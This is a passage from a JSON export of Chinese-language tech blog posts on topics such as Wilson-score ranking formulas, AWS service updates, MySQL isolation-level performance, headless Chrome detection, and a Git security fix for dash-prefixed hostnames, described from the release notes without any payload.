the 2,816 links that embedded on the page (accounting for a total of 999,400 pixels), 547 are entirely unreachable at this time. A further 489 redirect to a different domain or to a domain resale portal, leaving 1,780 reachable links.</blockquote>\r\n\r\n突然有種「銀河的歷史又翻過了一頁」的感覺 XDDD",
    "title": "Million Dollar Homepage 上的網站存活率"
  },
  {
    "id": "7471",
    "body": "前幾天看到一篇 2009 年的老文章，在討論使用者透過「喜歡」以及「不喜歡」投票後，要怎麼排名的方法：「<a href=\"http://www.evanmiller.org/how-not-to-sort-by-average-rating.html\">How Not To Sort By Average Rating</a>」。\r\n\r\n基本的概念是當使用者投票數愈多時就會愈準確，透過統計方法可以算一個信賴區間，再用區間的下限來排... 但沒想到公式「看起來」這麼複雜 XDDD\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ZSl2NhT.webp\" /><img src=\"https://i.gslin.com/imgur/ZSl2NhT.jpg\" alt=\"\" /></picture>\r\n\r\n<blockquote>Score = Lower bound of Wilson score confidence interval for a Bernoulli parameter</blockquote>\r\n\r\n但實際的運算其實沒那麼複雜，像是 <a href=\"https://www.ruby-lang.org/\">Ruby</a> 的程式碼可以看出大多都是系統內的運算就可以算出來。其中的 <code>z</code> 在大多數的情況下是常數。\r\n\r\n<pre>require 'statistics2'\r\n\r\ndef ci_lower_bound(pos, n, confidence)\r\n    if n == 0\r\n        return 0\r\n    end\r\n    z = Statistics2.pnormaldist(1-(1-confidence)/2)\r\n    phat = 1.0*pos/n\r\n    (phat + z*z/(2*n) - z * Math.sqrt((phat*(1-phat)+z*z/(4*n))/n))/(1+z*z/n)\r\nend</pre>\r\n\r\n<blockquote>The z-score in this function never changes, so if you don't have a statistics package handy or if performance is an issue you can always hard-code a value here for z. (Use 1.96 for a confidence level of 0.95.)</blockquote>\r\n\r\n作者後來在 2012 年與 2016 年也分別給了 SQL 以及 Excel 的範例程式碼出來，裡面 hard-code 了 95% 信賴區間的部份：\r\n\r\n<pre>SELECT widget_id, ((positive + 1.9208) / (positive + negative) - \r\n                   1.96 * SQRT((positive * negative) / (positive + negative) + 0.9604) / \r\n                          (positive + negative)) / (1 + 3.8416 / (positive + negative)) \r\n       AS ci_lower_bound FROM widgets WHERE positive + negative &gt; 0 \r\n       ORDER BY ci_lower_bound DESC;</pre>\r\n\r\n<pre>=IFERROR((([@[Up Votes]] + 1.9208) / ([@[Up Votes]] + [@[Down Votes]]) - 1.96 * \r\n    SQRT(([@[Up Votes]] *  [@[Down Votes]]) / ([@[Up Votes]] +  [@[Down Votes]]) + 0.9604) / \r\n    ([@[Up Votes]] +  [@[Down Votes]])) / (1 + 3.8416 / ([@[Up Votes]] +  [@[Down Votes]])),0)</pre>\r\n\r\n而更多的說明在<a href=\"https://www.wikipedia.org/\">維基百科</a>的「<a href=\"https://en.wikipedia.org/wiki/Binomial_proportion_confidence_interval\">Binomial proportion confidence interval</a>」可以翻到，裡面也有其他的方法可以用。",
    "title": "對於按讚數排名的方法"
  },
  {
    "id": "7474",
    "body": "<a href=\"https://aws.amazon.com/cloudwatch/\">AWS CloudWatch</a> 推出了秒級的記錄功能：「<a href=\"https://aws.amazon.com/blogs/aws/new-high-resolution-custom-metrics-and-alarms-for-amazon-cloudwatch/\">New – High-Resolution Custom Metrics and Alarms for Amazon CloudWatch</a>」。\r\n\r\n從一分鐘變成一秒鐘讓之後的調整以及 debug 好用很多... 不過這次支援秒級的是 custom metrics，原先 <a href=\"https://aws.amazon.com/\">AWS</a> 自家服務的支援不在這次範圍：\r\n\r\n<blockquote>Today we are adding support for high-resolution custom metrics, with plans to add support for AWS services over time. Your applications can now publish metrics to CloudWatch with 1-second resolution.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/oJkBKCj.webp\" /><img src=\"https://i.gslin.com/imgur/oJkBKCj.jpg\" alt=\"\" /></picture>\r\n\r\n另外 alarm 的時間可以降到十秒：\r\n\r\n<blockquote>You can watch the metrics scroll across your screen seconds after they are published and you can set up high-resolution CloudWatch Alarms that evaluate as frequently as every 10 seconds.</blockquote>\r\n\r\n對於市場上一堆服務的衝擊應該不小 XD",
    "title": "AWS CloudWatch 推出秒級的記錄功能"
  },
  {
    "id": "7475",
    "body": "看到 <a href=\"https://en.wikipedia.org/wiki/Hilbert_curve\">Hilbert curve</a> 的應用 XD：「<a href=\"https://blog.merovius.de/2017/07/22/using-hilbert-curves-to-100-zelda.html\">Using Hilbert Curves to 100% Zelda</a>」。\r\n\r\n是碎形的應用... 作者想要將薩爾達的涵蓋率從 98.59% 拉到 100%：\r\n\r\n<img src=\"https://i.gslin.com/imgur/vl83B3l.jpg\" alt=\"\" />\r\n\r\n<img src=\"https://i.gslin.com/imgur/JCvgaqu.jpg\" alt=\"\" />\r\n\r\n而 Hilbert curve 剛好可以拿來解這個問題：\r\n\r\n<img src=\"https://i.gslin.com/imgur/5RkzHtL.gif\" alt=\"\" />\r\n<small>取自「<a href=\"https://en.wikipedia.org/wiki/File:Hilbert_curve.gif\">File:Hilbert curve.gif</a>」。</small>\r\n\r\n記錄起來 XD",
    "title": "Hilbert curve"
  },
  {
    "id": "7476",
    "body": "<a href=\"https://www.indiehackers.com/\">Indie Hackes</a> 是個放各種「成功案例」的網站：\r\n\r\n<blockquote>Indie Hackers is a place where the founders of profitable businesses and side projects can share their stories transparently, and where entrepreneurs can come to read and learn from those examples. It's also a community where individual \"indie hackers\" can come together to share their experiences, give and receive feedback, and rely on one another for support.</blockquote>\r\n\r\n而文章的作者把上面的文章拿出來分析，得到了一些有趣的資訊：「<a href=\"https://www.toomas.net/2017/07/18/reverse-engineering-a-successful-lifestyle-business-heres-everything-ive-learned-from-reading-indiehackers-com/\">Reverse Engineering A Successful Lifestyle Business: Here’s Everything I’ve Learned From Reading IndieHackers.com</a>」。\r\n\r\n在「Books」的地方列出了提到的書籍，被提超過一次的有：\r\n\r\n<blockquote>The 4-Hour Workweek by Tim Ferriss (5x)\r\nThe Hard Thing About Hard Things by Ben Horowitz (5x)\r\nZero to One by Peter Thiel (4x)\r\nThe Lean Startup by Eric Ries (4x)\r\nFour Steps to the Epiphany by Steve Blank (3x)\r\nSteve Jobs by Walter Isaacson (2x)\r\nHigh Output Management by Andy Groove of Intel (2x)\r\nGood to Great by Jim Collins (2x)\r\nTraction by Gabriel Weinberg and Justin Mares (2x)\r\nBuilt to Sell by John Warrillow (2x)\r\nThe Personal MBA by Josh Kaufman (2x)\r\nStart Small, Stay Small by Rob Walling (2x)\r\nThe Power Of The Subconscious Mind by Joseph Murphy (2x)</blockquote>\r\n\r\n然後是各種技巧 (?)：\r\n\r\n<blockquote>On Raising Prices (19x)\r\nThis was the most common advice. The easiest way to increase revenue: raise your prices! Don’t be scared to ask for money.\r\n\r\nReal Artists Ship (9x)\r\nOur first idea is a grand opening, a big launch, a press release, or major media coverage. We default to thinking we need an advertising budget. Our delusion is that we should be Transformers and not The Blair Witch Project. – Ryan Holiday\r\n\r\nKISS (9x)\r\nAutomation (8x)\r\nStart Charging Straight Away (8x)</blockquote>\r\n\r\n可以拿來讀一讀吸收進去...",
    "title": "從 IndieHackers.com 上掃出各種「成功的方法」"
  },
  {
    "id": "7477",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 的 <a href=\"https://docs.aws.amazon.com/lambda/latest/dg/lambda-edge.html\">Lambda@Edge</a> 宣佈 GA 了：「<a href=\"https://aws.amazon.com/blogs/aws/lambdaedge-intelligent-processing-of-http-requests-at-the-edge/\">Lambda@Edge – Intelligent Processing of HTTP Requests at the Edge</a>」。\r\n\r\n最直接的應用就是在 <a href=\"https://aws.amazon.com/cloudfront/\">CloudFront</a> 的 edge 上執行一小段 code，修改 HTTP request 或是 HTTP response 了，不過可以看到一些限制：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/WG4lCXw.webp\" /><img src=\"https://i.gslin.com/imgur/WG4lCXw.jpg\" alt=\"\" /></picture>\r\n\r\n不過要用來解哪些問題要再想一下...",
    "title": "Lambda@Edge 的 GA"
  },
  {
    "id": "7478",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 的 <code>us-east-1</code> 上次加第五個 AZ 不知道是什麼時候了，找資料找不太到... 這次宣佈加第六個 AZ 進去了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/07/sixth-az-in-us-east-n-virginia-region/\">Sixth AZ in US East (N. Virginia) Region</a>」。\r\n\r\n依照 AWS 之前有提出來的架構，所有 AZ 之間都是有互向連接的... 所以 us-east-1 加 AZ 都會比其他區域辛苦不少...",
    "title": "AWS 的 us-east-1 開放第六個 AZ"
  },
  {
    "id": "7479",
    "body": "<a href=\"https://aws.amazon.com/efs/\">Amazon EFS</a> 可以看作 NFS 的 SaaS 服務，前陣子宣佈加開德國區：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/07/amazon-elastic-file-system-amazon-efs-available-in-eu-frankfurt-region/\">Amazon Elastic File System (Amazon EFS) Available in EU (Frankfurt) Region</a>」。\r\n\r\n加上原來的這些區：\r\n\r\n<blockquote>Amazon EFS is also available in US East (N. Virginia), US East (Ohio), US West (Oregon), EU (Ireland), and Asia Pacific (Sydney).</blockquote>\r\n\r\n唔，東京區什麼時候上啊...",
    "title": "Amazon EFS 在德國區開放使用"
  },
  {
    "id": "7480",
    "body": "<a href=\"https://github.com/\">GitHub</a> 支援 <code>SUPPORT</code>：「<a href=\"https://github.com/blog/2400-support-file-support\">SUPPORT file support</a>」。當這個檔案存在的時候，使用者會看到：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/V4rU7rd.webp\" /><img src=\"https://i.gslin.com/imgur/V4rU7rd.jpg\" alt=\"\" /></picture>\r\n\r\n這可以導引使用者先看一些資料再決定要怎麼做...",
    "title": "GitHub 支援 SUPPORT 這個檔案"
  },
  {
    "id": "7481",
    "body": "最近 <a href=\"http://www.scylladb.com/\">ScyllaDB</a> 的網站改版了... (有種不習慣的感覺)\r\n\r\nScyllaDB 2.0 打算要引入 Materialized View (出自 <a href=\"https://cassandra.apache.org/\">Apache Cassandra</a> 3.0+)：「<a href=\"http://www.scylladb.com/2017/07/27/materialized-views-preview-scylla-2-0/\">Materialized Views preview in Scylla 2.0</a>」。\r\n\r\n一般 Materialized View 的實做方式是另外存一份，所以你可以在上面加 Index 之類的設定讓存取速度變快...\r\n\r\n不過 Cassandra 不是本來就以讀慢寫快為優勢嗎，要速度可以考慮用 cache 疊出來，或是其他方式，當初 Cassandra 會開發這個功能就有點... XDDD",
    "title": "ScyllaDB 2.0 要引入 Cassandra 3.0+ 的 Materialized View"
  },
  {
    "id": "7482",
    "body": "<a href=\"https://supernova.studio/\">Supernova</a> 是前陣子看到的工具，目前是 public beta，將 <a href=\"https://www.sketchapp.com/\">Sketch</a> 的設計直接轉成 <a href=\"https://www.apple.com/ios/\">iOS</a>/<a href=\"https://www.android.com/\">Android</a> 的程式碼，減少每次手動調整的痛：「<a href=\"https://medium.com/@appsupernova/introducing-supernova-f92674171f7e\">Introducing Supernova</a>」。\r\n\r\n<img src=\"https://i.gslin.com/imgur/e4rtXpm.gif\" alt=\"\" />\r\n\r\n<img src=\"https://i.gslin.com/imgur/HRCis09.gif\" alt=\"\" />\r\n\r\n目前只支援 iOS/Android，但之後有打算要支援 <a href=\"https://facebook.github.io/react-native/\">React Native</a>。(參考「<a href=\"https://docs.supernova.studio/specific/import-export.html\">Import &amp; Export</a>」這邊的說明)\r\n\r\n五月時寫到的「<a href=\"https://blog.gslin.org/archives/2017/05/28/7352/%E9%80%8F%E9%81%8E-nn-%E9%A1%9E%E7%A5%9E%E7%B6%93%E7%B6%B2%E8%B7%AF-%E8%A8%93%E7%B7%B4%E5%A5%BD%E7%9A%84%E7%B3%BB%E7%B5%B1%EF%BC%8C%E7%9B%B4%E6%8E%A5%E6%8A%8A%E5%9C%96%E7%89%87%E8%BD%89%E6%88%90/\">透過 NN (類神經網路) 訓練好的系統，直接把圖片轉成程式碼</a>」這篇是直接從圖片轉成程式碼，也是想做類似的事情。但 Supernova 因為有 Sketch 內的資訊，轉換的準確度會高不少...",
    "title": "將 Sketch 輸出成 iOS/Android 的程式碼"
  },
  {
    "id": "7486",
    "body": "目前看到的結論都是：<a href=\"https://dev.mysql.com/\">MySQL</a> (InnoDB) 上因為高度對 RR (<code>REPEATABLE-READ</code>) 最佳化，使得 RR 的效能反而比 RC (<code>READ-COMMITTED</code>) 以及 RU (<code>READ-UNCOMMITTED</code>) 都好。\r\n\r\n不清楚 RR/RC/RU 差異的可以參考維基百科上「<a href=\"https://en.wikipedia.org/wiki/Isolation_(database_systems)\">Isolation (database systems)</a>」的解釋...\r\n\r\n從 2010 年在測 5.0 的「<a href=\"https://www.facebook.com/notes/mysql-at-facebook/repeatable-read-versus-read-committed-for-innodb/244956410932/\">Repeatable read versus read committed for InnoDB</a>」到 2015 年測 5.7 的「<a href=\"http://dimitrik.free.fr/blog/archives/2015/02/mysql-performance-impact-of-innodb-transaction-isolation-modes-in-mysql-57.html\">MySQL Performance : Impact of InnoDB Transaction Isolation Modes in MySQL 5.7</a>」都測出 RR 的效能比 RC/RU 好... 三段分別是 RR/RC/RU：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/s6Lj7h7.webp\" /><img src=\"https://i.gslin.com/imgur/s6Lj7h7.jpg\" alt=\"\" /></picture>\r\n\r\n所以在 MySQL 上沒有使用 RC/RU 的必要... (抱頭)",
    "title": "MySQL 上不同 Isolation Level 對效能的影響"
  },
  {
    "id": "7489",
    "body": "作者因為種種原因，想要偵測 Headless 模式的 <a href=\"https://www.google.com/chrome/\">Google Chrome</a>：「<a href=\"https://antoinevastel.github.io/bot%20detection/2017/08/05/detect-chrome-headless.html\">Detecting Chrome Headless</a>」。\r\n\r\n之前因為主要是 <a href=\"http://phantomjs.org/\">PhantomJS</a>，有很多地方跟一般的瀏覽器不同，可以利用這些不同的地方來判斷出是不是 PhantomJS：\r\n\r\n<blockquote>Until now, one of the most popular headless browser was PhantomJS. Since it is built on the Qt framework, it exhibits many differences compared to most popular browsers. As presented in this post, it is possible to detect it using some browser fingerprinting techniques.</blockquote>\r\n\r\n但從 Google Chrome 59 以後因為支援 Headless，使得大多數的判斷的失效：\r\n\r\n<blockquote>Since version 59, Google released a headless version of its Chrome browser. Unlike PhantomJS, it is based on a vanilla Chrome, and not on an external framework, making its presence more difficult to detect.</blockquote>\r\n\r\n所以作者找了不少方式想要判斷兩者的相異之處... 不過這些方式看起來不太穩定，加上 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 也在準備了，之後只會愈來愈困難吧 :o",
    "title": "偵測 Chrome Headless"
  },
  {
    "id": "7490",
    "body": "<a href=\"https://www.troyhunt.com/\">Troy Hunt</a> 放出三億筆 SHA1 hash 過的密碼讓大家研究：「<a href=\"https://www.troyhunt.com/introducing-306-million-freely-downloadable-pwned-passwords/\">Introducing 306 Million Freely Downloadable Pwned Passwords</a>」。\r\n\r\n他引用了 <a href=\"https://www.nist.gov/\">NIST</a> 新的草案中對密碼的建議，阻擋已知外洩的密碼：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/DW2yApR.webp\" /><img src=\"https://i.gslin.com/imgur/DW2yApR.jpg\" alt=\"\" /></picture>\r\n\r\n檔案可以在「<a href=\"https://haveibeenpwned.com/Passwords\">I been pwned? Pwned Passwords</a>」這邊下載。",
    "title": "超過三億筆的密碼 (Hash 過的)"
  },
  {
    "id": "7491",
    "body": "<a href=\"https://aws.amazon.com/ses/\">Amazon SES</a> 的產品定位不是 transaction mail 嗎？這個功能沒看懂想做什麼 XD：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/08/amazon-ses-introduces-open-and-click-metrics-for-tracking-customer-engagement/\">Amazon SES Introduces Open and Click Metrics for Tracking Customer Engagement</a>」。\r\n\r\n<blockquote>Amazon Simple Email Service (Amazon SES) now includes the ability to track open and click events, as well as the ability to publish email sending events to Amazon Simple Notification Service (Amazon SNS).</blockquote>\r\n\r\n另外就是... 我記得類似的功能其他家做得更好更成熟 XD",
    "title": "Amazon SES 增加開信率與點擊率的功能"
  },
  {
    "id": "7496",
    "body": "出自 <a href=\"https://twitter.com/\">Twitter</a> 上的這則 tweet：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"ja\" dir=\"ltr\">【OSSの利用】オープンソースソフトウェア（OSS）は、コスト面等のメリットが大きい反面、セキュリティ（脆弱性）等に不安があります。OSSを利用する場合は、機能だけでなくセキュリティのテストをしっかり行うとともに、バージョンをリスト化して管理し、脆弱性情報の把握に心がけましょう。</p>&mdash; 警視庁サイバーセキュリティ対策本部 (@MPD_cybersec) <a href=\"https://twitter.com/MPD_cybersec/status/894353450753957888\">August 7, 2017</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n下面已經開始有人在吵了，該來拉板凳了...",
    "title": "來拉板凳看日本警視廳對 Open Source 的敵意..."
  },
  {
    "id": "7497",
    "body": "因為要處理帳務的關係，公司的印表機需要設定帶出設定用戶號碼 (其實是部門編號) 才有辦法列印。\r\n\r\n這點在 Windows 下不是問題，但在 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 下就頭痛了... 今天總算是花時間去找方法在 Ubuntu 上直接列印了。(以前都是自暴自棄開 Windows VM 印文件...)\r\n\r\n解法是在「<a href=\"https://ubuntuforums.org/showthread.php?t=928892\">Printer Job Options for User Accounts</a>」這邊翻到的。\r\n\r\n裡面有人提到，先去官網上下載 ppd 檔 (有可能是 <code>.gz</code> 的形式，如果是的話就改完再壓回去)，然後找到 <code>%== constraints</code> 的地方，在前面加上：\r\n\r\n<pre>*% **** Account number\r\n*JCLOpenUI *JCLMXaccount/numero: PickOne\r\n*OrderDependency: 80 JCLSetup *JCLMXaccount\r\n*DefaultJCLMXaccount: A#####\r\n*JCLMXaccount A#####/#####: \"@PJL SET ACCOUNTNUMBER=&lt;22&gt;#####&lt;22&gt;&lt;0A&gt;\"\r\n*JCLCloseUI: *JCLMXaccount</pre>\r\n\r\n其中 <code>#####</code> 就是使用者代碼，這邊有四個地方要改。\r\n\r\nppd 檔改完後的下一步是設定網路印表機，透過 LPD 偵測到後，選印表機的時候直接選擇用這個 ppd 檔，這樣就解決了...",
    "title": "在 Ubuntu 下列印：用 ACCOUNTNUMBER 解決用戶號碼的問題..."
  },
  {
    "id": "7500",
    "body": "之前有提過「<a href=\"https://blog.gslin.org/archives/2016/08/08/6718/cuckoo-filter%EF%BC%9A%E6%AF%94-bloom-filter-%E5%A4%9A%E4%BA%86-delete/\">Cuckoo Filter：比 Bloom Filter 多了 Delete</a>」，最近在「<a href=\"https://blog.acolyer.org/2017/08/08/a-general-purpose-counting-filter-making-every-bit-count/\">A general purpose counting filter: making every bit count</a>」這邊看到 <a href=\"https://en.wikipedia.org/wiki/Quotient_filter\">Quotient filter</a>，也是類似 <a href=\"https://en.wikipedia.org/wiki/Bloom_filter\">Bloom filter</a> 的資料結構，但想要解決更多問題。\r\n\r\n一般的 Bloom filter (BF) 會有這些問題：\r\n\r\n<ul>\r\n\t<li>The inability to delete items</li>\r\n\t<li>Poor scaling out of RAM</li>\r\n\t<li>The inability to resize dynamically</li>\r\n\t<li>The inability to count the number of occurrences of each item, especially with skewed input distributions.</li>\r\n</ul>\r\n\r\n而文章裡提到的 Quotient filter (QF) 就是要解這些問題。另外還提到了 Rank-and-Select-based Quotient filter (RSQF) 以及 Counting Quotient filter (CQF)。雖然多了一些空間需求，但看起來解掉不少問題... (尤其是刪除的能力)\r\n\r\n<img src=\"https://i.gslin.com/imgur/gbUhJdY.jpg\" alt=\"\" />\r\n\r\n效能上也還不錯，尤其是讀取速度的部份... 不過不知道相對於 Cuckoo filter 差多少。",
    "title": "Quotient filter"
  },
  {
    "id": "7501",
    "body": "<a href=\"https://twitter.com/\">Twitter</a> 上看到 <a href=\"http://www.vim.org/\">Vim</a> 的 Easy Mode 是無法直接用 <code>:q!</code> 直接離開的，對於用 Vim 用很久的人反而不知道怎麼辦 XDDD：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"zh\" dir=\"ltr\">一堆人被 vim -y 困住無法脫身。 XDDD</p>&mdash; WanCW (@WanCW) <a href=\"https://twitter.com/WanCW/status/895213974479917057\">August 9, 2017</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n因為知道是 <code>-y</code>，所以查了 manual 後發現是 easy mode。有了關鍵字後解法就很好找了，是「<a href=\"https://tommorris.org/posts/3075\">How to quit vim's easy mode (vim -y)</a>」這篇，先用 Ctrl-L 回到 Normal Mode 再用 <code>:q!</code> 離開...",
    "title": "Vim 的 Easy Mode"
  },
  {
    "id": "7502",
    "body": "其實是我拿 <a href=\"https://www.docker.com/\">Docker</a> 跑 <a href=\"https://github.com/rakshasa/rtorrent\">rTorrent</a> 遇到的問題... (在 <a href=\"https://github.com/gslin/rtorrent-docker\">gslin/rtorrent-docker</a> 這包裡面)\r\n\r\n因為平常都是用 <a href=\"https://en.wikipedia.org/wiki/Tmux\">tmux</a> 掛著，有時候是使用桌機接起來，有時候是使用 Mac 接起來，就會遇到 resize 的問題了 :o\r\n\r\n在 <a href=\"https://github.com/\">GitHub</a> 上其實有討論這個問題：「<a href=\"https://github.com/moby/moby/issues/5736\">SIGWINCH attached processes · Issue #5736 · moby/moby</a>」(Docker 改名叫 Moby 了，如果你看到網址不是很確定的話，提醒一下... XD)。\r\n\r\n在 resize 的機制上是透過 <code>SIGWINCH</code> 這個 signal 傳進去，所以就一層一層檢查... 然後發現是 <a href=\"https://en.wikipedia.org/wiki/Su_(Unix)\">su</a> 不會把 <code>SIGWINCH</code> 傳下去，改用 <a href=\"https://en.wikipedia.org/wiki/Sudo\">sudo</a> 就解決了，這樣就不用每次切換時還要重跑 rTorrent...",
    "title": "透過 Docker 跑 Command Line 程式時，螢幕大小改變時程式不會變更的問題..."
  },
  {
    "id": "7503",
    "body": "文章的作者試了很多家 VPN 服務，然後文章的標題有點長，有種輕小說的感覺...：「<a href=\"https://vpnreport.org/\">I tested the most recommended VPN providers using my credit card to find the best ones — and which ones you should avoid.</a>」。\r\n\r\n不過這種文章有很多東西很主觀，大家心裡有個底就是了...\r\n\r\n作者比較滿意的是 <a href=\"https://www.tunnelbear.com/\">TunnelBear</a> 與 <a href=\"https://www.ovpn.com/\">OVPN</a> 這兩家，也許等手上 <a href=\"https://www.privateinternetaccess.com/\">PIA</a> 到期的時候再試看看要怎麼選好了，畢竟 PIA 還是目前最便宜的方案。",
    "title": "VPN 的評價"
  },
  {
    "id": "7504",
    "body": "在 <a href=\"https://nginx.org/\">nginx</a> 1.13.4 出的新功能，<a href=\"https://nginx.org/en/docs/http/ngx_http_mirror_module.html\">ngx_http_mirror_module</a>：\r\n\r\n<blockquote>The ngx_http_mirror_module module (1.13.4) implements mirroring of an original request by creating background mirror subrequests. Responses to mirror subrequests are ignored.</blockquote>\r\n\r\n範例其實就講的還蠻清楚的：\r\n\r\n<pre>location / {\r\n    mirror /mirror;\r\n    proxy_pass http://backend;\r\n}\r\n\r\nlocation /mirror {\r\n    internal;\r\n    proxy_pass http://test_backend$request_uri;\r\n}</pre>\r\n\r\n如果拿 nginx 當 load balancer 的人，可以用這個功能做些事情...",
    "title": "nginx 的 mirror 功能"
  },
  {
    "id": "7505",
    "body": "2013 的時候提過「<a href=\"https://blog.gslin.org/archives/2013/12/25/4007/%E5%8A%A0%E5%B7%9E%E7%9A%84%E6%89%8B%E6%A9%9F%E9%98%B2%E7%AB%8A%E6%8F%90%E6%A1%88/\">加州的手機防竊提案...</a>」，後來在 2015 年生效：\r\n\r\n<blockquote>In a press release sent to reporters on Thursday, George Gascón said that since the law went into effect on July 1, 2015[,]</blockquote>\r\n\r\n在兩大陣營都有類似的功能：\r\n\r\n<blockquote>Such a kill switch has become standard in all iPhones (\"Activation Lock\") and Android phones (\"Device Protection\") since 2015.</blockquote>\r\n\r\n而執行到現在已經兩年了，手機的失竊率下降不少：「<a href=\"https://arstechnica.com/tech-policy/2017/07/san-francisco-da-anti-theft-law-results-in-huge-drop-in-stolen-phones/\">San Francisco DA: Anti-theft law results in huge drop in stolen phones</a>」。\r\n\r\n<blockquote>[S]martphone-related robberies have fallen 22 percent from 2015 to 2016. When measured from the peak in 2013, \"overall robberies involving smartphones have declined an astonishing 50 percent.\"</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/QT4sQ27.webp\" /><img src=\"https://i.gslin.com/imgur/QT4sQ27.jpg\" alt=\"\" /></picture>\r\n\r\n變成要找人殺肉才能處理，增加被竊後的處理難度與成本...",
    "title": "加州的手機防竊提案讓失竊率下降不少..."
  },
  {
    "id": "7507",
    "body": "<a href=\"https://aws.amazon.com/efs/\">Amazon EFS</a> 也支援使用 <a href=\"https://aws.amazon.com/kms/\">KMS</a> 加密了，這對於一些要求「落地要加密」的 certification 方便不少：「<a href=\"https://aws.amazon.com/blogs/aws/new-encryption-at-rest-for-amazon-elastic-file-system-efs/\">New – Encryption of Data at Rest for Amazon Elastic File System (EFS)</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/oJWgepe.webp\" /><img src=\"https://i.gslin.com/imgur/oJWgepe.jpg\" alt=\"\" /></picture>\r\n\r\n不過東京還沒有 EFS 啊... (繼續敲碗)",
    "title": "Amazon EFS 也能加密了"
  },
  {
    "id": "7508",
    "body": "<a href=\"https://aws.amazon.com/cloudhsm/\">AWS CloudHSM</a> 推出了一些新功能：「<a href=\"https://aws.amazon.com/blogs/aws/aws-cloudhsm-update-cost-effective-hardware-key-management/\">AWS CloudHSM Update – Cost Effective Hardware Key Management at Cloud Scale for Sensitive & Regulated Workloads</a>」。\r\n\r\n其中比較特別的是從以前只支援 Level 2 變成支援 Level 3 了：\r\n\r\n<blockquote><strong>More Secure</strong> – CloudHSM Classic (the original model) supports the generation and use of keys that comply with FIPS 140-2 Level 2. We’re stepping that up a notch today with support for FIPS 140-2 Level 3, with security mechanisms that are designed to detect and respond to physical attempts to access or modify the HSM.</blockquote>\r\n\r\n在維基百科裡面有提到 Level 2 與 Level 3 的要求：\r\n\r\n<blockquote>Security Level 2 improves upon the physical security mechanisms of a Security Level 1 cryptographic module by requiring features that show evidence of tampering, including tamper-evident coatings or seals that must be broken to attain physical access to the plaintext cryptographic keys and critical security parameters (CSPs) within the module, or pick-resistant locks on covers or doors to protect against unauthorized physical access.</blockquote>\r\n\r\n<blockquote>In addition to the tamper-evident physical security mechanisms required at Security Level 2, Security Level 3 attempts to prevent the intruder from gaining access to CSPs held within the cryptographic module. Physical security mechanisms required at Security Level 3 are intended to have a high probability of detecting and responding to attempts at physical access, use or modification of the cryptographic module. The physical security mechanisms may include the use of strong enclosures and tamper-detection/response circuitry that zeroes all plaintext CSPs when the removable covers/doors of the cryptographic module are opened.</blockquote>\r\n\r\n主動式偵測以及銷毀算是 Level 3 比 Level 2 安全的地方。\r\n\r\n另外就是計價方式的修正，先前有一筆固定的費用，現在變成完全照小時計費了：\r\n\r\n<blockquote><strong>Pay As You Go</strong> – CloudHSM is now offered under a pay-as-you-go model that is simpler and more cost-effective, with no up-front fees.</blockquote>",
    "title": "AWS CloudHSM 支援 FIPS 140-2 Level 3 了"
  },
  {
    "id": "7510",
    "body": "<a href=\"https://www.cloudflare.com/\">Cloudflare</a> 分析了這次 815 停電對網路造成的影響：「<a href=\"https://blog.cloudflare.com/power-outage-taiwan/\">Power outage hits the island of Taiwan. Here’s what we learned.</a>」。\r\n\r\n以 Cloudflare 在<a href=\"http://www.chief.com.tw/\">是方機房</a>的 QPS 來看，停電後反而沒有太大變化：\r\n\r\n<img src=\"https://i.gslin.com/imgur/9JrroUx.jpg\" alt=\"\" />\r\n\r\n把裝置種類拆開來看，可以看到桌機的使用量下降，但手機的使用量上升：\r\n\r\n<img src=\"https://i.gslin.com/imgur/wHdreI5.jpg\" alt=\"\" />\r\n\r\n這點從 <a href=\"http://www.hinet.net/\">HiNet</a> 的使用頻寬也可以看出來，頻寬使用量降了 25% (從光世代與 ADSL/VDSL 換到行動網路上？)：\r\n\r\n<img src=\"https://i.gslin.com/imgur/IoOhBEi.jpg\" alt=\"\" />",
    "title": "Cloudflare 看這次 815 斷電的網路使用變化"
  },
  {
    "id": "7511",
    "body": "在「<a href=\"https://marc.info/?l=git&amp;m=150238802328673&amp;w=2\">[ANNOUNCE] Git v2.14.1, v2.13.5, and others</a>」這邊看到 <code>-</code> 開頭產生的問題：\r\n\r\n<blockquote>These contain a security fix for CVE-2017-1000117, and are released in coordination with Subversion and Mercurial that share a similar issue.  CVE-2017-9800 and CVE-2017-1000116 are assigned to these systems, respectively, for issues similar to it that are now addressed in their part of this coordinated release.</blockquote>\r\n\r\n這算是老問題了，<a href=\"https://git-scm.com/\">Git</a> 對應的修正主要是朝 filter input 的方向修正，包括了禁用 <code>-</code> 開頭的 hostname，以及禁止 <code>GIT_PROXY_COMMAND</code> 是 <code>-</code> 開頭，另外是禁止開頭是 <code>-</code> 的 repository name：\r\n\r\n<blockquote><ul>\r\n\t<li>A \"ssh://...\" URL can result in a \"ssh\" command line with a hostname that begins with a dash \"-\", which would cause the \"ssh\" command to instead (mis)treat it as an option.  This is now prevented by forbidding such a hostname (which should not impact any real-world usage).</li>\r\n\t<li>Similarly, when GIT_PROXY_COMMAND is configured, the command is run with host and port that are parsed out from \"ssh://...\" URL; a poorly written GIT_PROXY_COMMAND could be tricked into treating a string that begins with a dash \"-\" as an option.  